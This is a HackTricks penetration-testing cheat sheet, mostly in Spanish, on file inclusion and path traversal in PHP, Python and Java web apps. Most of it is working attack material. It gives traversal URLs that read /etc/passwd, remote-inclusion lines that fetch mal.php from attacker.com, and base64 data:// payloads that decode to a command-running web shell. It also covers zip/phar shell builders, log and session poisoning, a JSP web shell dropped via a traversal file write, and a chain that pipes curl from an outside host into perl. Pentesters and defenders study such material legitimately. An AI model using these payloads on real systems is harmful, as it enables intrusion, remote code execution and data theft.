File Inclusion/Path traversal

Reading time: 29 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

File Inclusion

Remote File Inclusion (RFI): El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Local File Inclusion (LFI): El servidor carga un archivo local.

La vulnerabilidad se produce cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.

Funciones PHP vulnerables: require, require_once, include, include_once

Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Combinando varias listas LFI de *nix y añadiendo más rutas, he creado esta:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prueba también a cambiar / por \
Prueba también a añadir ../../../../../

Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar here

Windows

Combinación de diferentes wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prueba también a cambiar / por \
Prueba también a eliminar C:/ y añadir ../../../../../

Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar here

OS X

Consulta la lista LFI de linux.

LFI básico y bypasses

Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass la adición de más caracteres al final de la cadena proporcionada (bypass de: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Esto está resuelto desde PHP 5.4

Codificación

Podrías usar codificaciones no estándar como doble codificación URL (y otras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Desde una carpeta existente

Quizás el back-end está verificando la ruta de la carpeta:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando directorios del sistema de archivos en un servidor

El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:

  1. Determinar la profundidad del directorio: Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo /etc/passwd (aplicable si el servidor es Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sondea carpetas: Añade el nombre de la carpeta sospechosa (p. ej., private) a la URL, luego vuelve a navegar a /etc/passwd. El nivel adicional de directorio requiere incrementar la profundidad en uno:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretar los resultados: La respuesta del servidor indica si la carpeta existe:
  • Error / No Output: La carpeta private probablemente no existe en la ubicación especificada.
  • Contents of /etc/passwd: Se confirma la presencia de la carpeta private.
  1. Recursive Exploration: Las carpetas descubiertas pueden ser exploradas más a fondo en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).

Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si /var/www/ contiene un directorio private (suponiendo que el directorio actual está a una profundidad de 3), usa:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado.

En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, y /etc/passwd/ son tratados como la misma ruta.
  • Cuando los últimos 6 caracteres son passwd, añadir un / (convirtiéndolo en passwd/) no cambia el archivo objetivo.
  • De igual manera, si se añade .php a una ruta de archivo (como shellcode.php), agregar un /. al final no alterará el archivo al que se accede.

Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a /etc/passwd, un objetivo común debido a su contenido sensible (información de cuentas de usuario):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.

  • Using Dot Segments and Additional Characters: Las secuencias de traversal (../) combinadas con segmentos adicionales de punto y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
  • Determining the Required Number of Traversals: Mediante prueba y error, se puede encontrar el número preciso de secuencias ../ necesarias para llegar al root directory y luego a /etc/passwd, asegurando que cualquier cadena añadida (como .php) quede neutralizada pero la ruta deseada (/etc/passwd) permanezca intacta.
  • Starting with a Fake Directory: Es una práctica común comenzar la ruta con un directorio inexistente (como a/). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.

Al emplear path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del filesystem. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

En php esto está deshabilitado por defecto porque allow_url_include está en Off. Debe estar en On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si por alguna razón allow_url_include está On, pero PHP está filtrando el acceso a páginas web externas, according to this post, podrías usar por ejemplo el protocolo data con base64 para decodificar un código PHP en b64 y obtener RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

En el código anterior, el +.txt final se añadió porque el atacante necesitaba una cadena que terminara en .txt, así que la cadena termina con ello y, después de la decodificación b64, esa parte devolverá solo basura y el código PHP real será incluido (y por tanto, ejecutado).

Otro ejemplo sin usar el protocolo php:// sería:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python elemento raíz

En Python, en un código como este:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si el usuario pasa una ruta absoluta a file_name, la ruta anterior simplemente se elimina:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es el comportamiento previsto según the docs:

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

Java Listar directorios

Parece que si tienes un Path Traversal en Java y solicitas un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (que yo sepa).

Top 25 parámetros

Aquí tienes una lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando PHP wrappers & protocols

php://filter

PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . Para obtener la lista de todas las codificaciones compatibles ejecuta en la consola: iconv -l

warning

Abusando del filtro de conversión convert.iconv.* puedes generar texto arbitrario, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime el contenido (útil si exfiltras mucha información)
  • zlib.inflate: Descomprime los datos
  • Encryption Filters
  • mcrypt.* : Obsoleto
  • mdecrypt.* : Obsoleto
  • Other Filters
  • Al ejecutar en php var_dump(stream_get_filters()); puedes encontrar un par de filtros inesperados:
  • consumed
  • dechunk: revierte la codificación HTTP chunked
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

La parte "php://filter" no distingue entre mayúsculas y minúsculas

Usando php filters as oracle para leer archivos arbitrarios

In this post se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una boolean exfiltration of the file (char by char) using php filters as oracle. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción.

En el post original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:

  • Usa el codec UCS-4LE para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
  • Esto se usará para generar un texto tan grande cuando la letra inicial sea adivinada correctamente que php disparará un error.
  • El filtro dechunk eliminará todo si el primer carácter no es hexadecimal, por lo que podemos saber si el primer carácter es hex.
  • Esto, combinado con el anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial provocará un error en php.
  • El codec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una a, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y el error de php se dispara al multiplicarse con la bomba inicial.
  • Usando otras transformaciones como rot13 al principio es posible leak otros caracteres como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
  • Cuando el carácter inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
  • El problema final es ver cómo leak más que la letra inicial. Usando order memory filters como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los caracteres y colocar en la primera posición otras letras del texto.
  • Y para poder obtener further data la idea es generate 2 bytes of junk data at the beginning con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para que pivot with the next 2 bytes, y delete the data until the junk data (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta que alcances el bit deseado a leak.

En el post también se publicó una herramienta para realizar esto automáticamente: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acceder a los file descriptors que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

También puedes usar php://stdin, php://stdout and php://stderr para acceder a los file descriptors 0, 1 and 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)

zip:// and rar://

Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del rar protocol debe ser activado específicamente.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open y allow_url_include

expect://

Expect debe estar activado. Puedes ejecutar código usando esto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifica tu payload en los parámetros POST:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un archivo .phar puede utilizarse para ejecutar código PHP cuando una aplicación web usa funciones como include para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar el archivo .phar, se debe ejecutar el siguiente comando:

bash
php --define phar.readonly=0 create_path.php

Al ejecutarse, se creará un archivo llamado test.phar, que podría aprovecharse potencialmente para explotar vulnerabilidades de Local File Inclusion (LFI).

En casos en los que la LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

Más protocolos

Check more possible protocols to include here:

  • php://memory and php://temp — Escriben en memoria o en un archivo temporal (no estoy seguro de cómo puede ser útil en un ataque de file inclusion)
  • file:// — Accediendo al sistema de archivos local
  • http:// — Accediendo a URLs HTTP(s)
  • ftp:// — Accediendo a URLs FTP(s)
  • zlib:// — Flujos de compresión
  • glob:// — Buscar nombres de ruta que coincidan con un patrón (No devuelve nada imprimible, por lo que no es muy útil aquí)
  • ssh2:// — Secure Shell 2
  • ogg:// — Streams de audio (No es útil para leer archivos arbitrarios)

LFI via PHP's 'assert'

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

Aunque esto pretende impedir el traversal, crea involuntariamente un vector para code injection. Para explotarlo y leer el contenido de archivos, un attacker podría usar:

plaintext
' and die(highlight_file('/etc/passwd')) or '

De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar:

plaintext
' and die(system("id")) or '

Es importante URL-encode these payloads.

PHP Blind Path Traversal

warning

Esta técnica es relevante en casos donde tú controlas la file path de una PHP function que va a access a file, pero no verás el contenido del archivo (como una simple llamada a file()) ya que el contenido no se muestra.

En this incredible post se explica cómo un blind path traversal puede aprovecharse mediante PHP filter para exfiltrate the content of a file via an error oracle.

En resumen, la técnica utiliza la codificación "UCS-4LE" para hacer que el contenido de un archivo sea tan grande que la PHP function opening el archivo provoque un error.

Luego, para leak the first char, se utiliza el filter dechunk junto con otros como base64 o rot13, y finalmente se emplean los filters convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE para place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • Identificar un write primitive en un endpoint o background worker que acepte una path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determinar web-exposed directories. Ejemplos comunes:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Construir un traversal path que salga del directorio de almacenamiento previsto hacia el webroot e incluya el contenido de tu webshell.
  • Navega al payload depositado y ejecuta comandos.

Notas:

  • El servicio vulnerable que realiza la escritura puede escuchar en un non-HTTP port (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto distinto) servirá posteriormente tu payload.
  • En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de File/Paths. La falta de canonicalisation/allow-listing es la falla principal.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Mitigaciones que derrotan esta clase de bugs:

  • Resuelve a una ruta canónica y asegura que sea descendiente de un directorio base en la lista de permitidos.
  • Rechaza cualquier ruta que contenga .., raíces absolutas o letras de unidad; prefiere nombres de archivo generados.
  • Ejecuta el proceso que escribe como una cuenta con pocos privilegios y separa los directorios de escritura de las raíces servidas.

Remote File Inclusion

Explicado previamente, sigue este enlace.

A través del archivo de registro de Apache/Nginx

Si el servidor Apache o Nginx es vulnerable a LFI en la función include, puedes intentar acceder a /var/log/apache2/access.log o /var/log/nginx/access.log, colocar dentro del user agent o en un parámetro GET una php shell como <?php system($_GET['c']); ?> e incluir ese archivo

warning

Ten en cuenta que si usas comillas dobles para la shell en lugar de comillas simples, las comillas dobles serán modificadas por la cadena "quote;", PHP lanzará un error y nada más se ejecutará.

Además, asegúrate de escribir correctamente el payload o PHP dará error cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad.

Esto también se puede hacer en otros logs pero ten cuidado, el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header authorisation "basic" contiene "user:password" en Base64 y eso se decodifica dentro de los logs. La PHPShell podría insertarse dentro de este header.
Otras posibles rutas de logs:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Vía Email

Envía un correo a una cuenta interna (user@localhost) que contenga tu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e intenta incluir el correo del usuario con una ruta como /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Vía /proc/*/fd/*

  1. Sube muchas shells (por ejemplo: 100)
  2. Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD = el descriptor de archivo (también puede obtenerse por fuerza bruta)

Vía /proc/self/environ

Como con un archivo de registro, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Si puedes upload un archivo, simplemente inyecta el shell payload en él (ej: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para mantener el archivo legible es mejor inyectar en los metadatos de las imágenes/doc/pdf

Mediante subida de archivo ZIP

Sube un archivo ZIP que contenga un PHP shell comprimido y accede:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

A través de sesiones PHP

Comprueba si el sitio web usa sesiones PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, estas sesiones se almacenan en los archivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Establece la cookie en <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa el LFI para incluir el archivo de sesión de PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

A través de ssh

Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a <HOME>/.ssh/id_rsa

A través de vsftpd logs

Los logs del servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En un escenario donde exista una vulnerabilidad Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:

  1. Inyecta un PHP payload en el campo username durante el proceso de login.
  2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde /var/log/vsftpd.log.

A través del php base64 filter (usando base64)

Como se muestra en this article, PHP base64 filter just ignore Non-base64. You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Aquí hay un ejemplo de payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Vía php filters (no se necesita archivo)

This writeup explica que puedes usar php filters to generate arbitrary content como salida. Lo que básicamente significa que puedes generate arbitrary php code para el include without needing to write en un archivo.

LFI2RCE via PHP Filters

Vía segmentation fault

Upload un archivo que se almacenará como temporary en /tmp, luego en la same request, provoca un segmentation fault, y entonces el temporary file won't be deleted y puedes buscarlo.

LFI2RCE via Segmentation Fault

Vía Nginx temp file storage

Si encontraste una Local File Inclusion y Nginx está corriendo delante de PHP podrías obtener RCE con la siguiente técnica:

LFI2RCE via Nginx temp files

Vía PHP_SESSION_UPLOAD_PROGRESS

Si encontraste una Local File Inclusion incluso si don't have a session y session.auto_start está Off. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS en datos multipart POST, PHP enable the session for you. Podrías abusar de esto para obtener RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Vía temp file uploads in Windows

Si encontraste una Local File Inclusion y el servidor está ejecutándose en Windows podrías obtener RCE:

LFI2RCE Via temp file uploads

Vía pearcmd.php + URL args

As explained in this post, el script /usr/local/lib/phppearcmd.php existe por defecto en las imágenes docker de php. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un =, debe usarse como argumento. Véase también watchTowr’s write-up y Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Lo siguiente abusa de una vuln CRLF para obtener RCE (desde here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Mediante phpinfo() (file_uploads = on)

Si encontraste una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on puedes obtener RCE:

LFI2RCE via phpinfo()

Mediante compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si encontraste una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está comprobando si el archivo a incluir tiene marcas PHP, puedes intentar eludir esa comprobación con esta Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Mediante eternal waiting + bruteforce

Si puedes abusar del LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, podrías entonces bruteforce nombres de archivo durante horas para encontrar el archivo temporal:

LFI2RCE via Eternal waiting

Para provocar un Fatal Error

Si incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo 2 veces para provocar ese error).

No sé cómo puede ser útil esto pero podría serlo.
Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks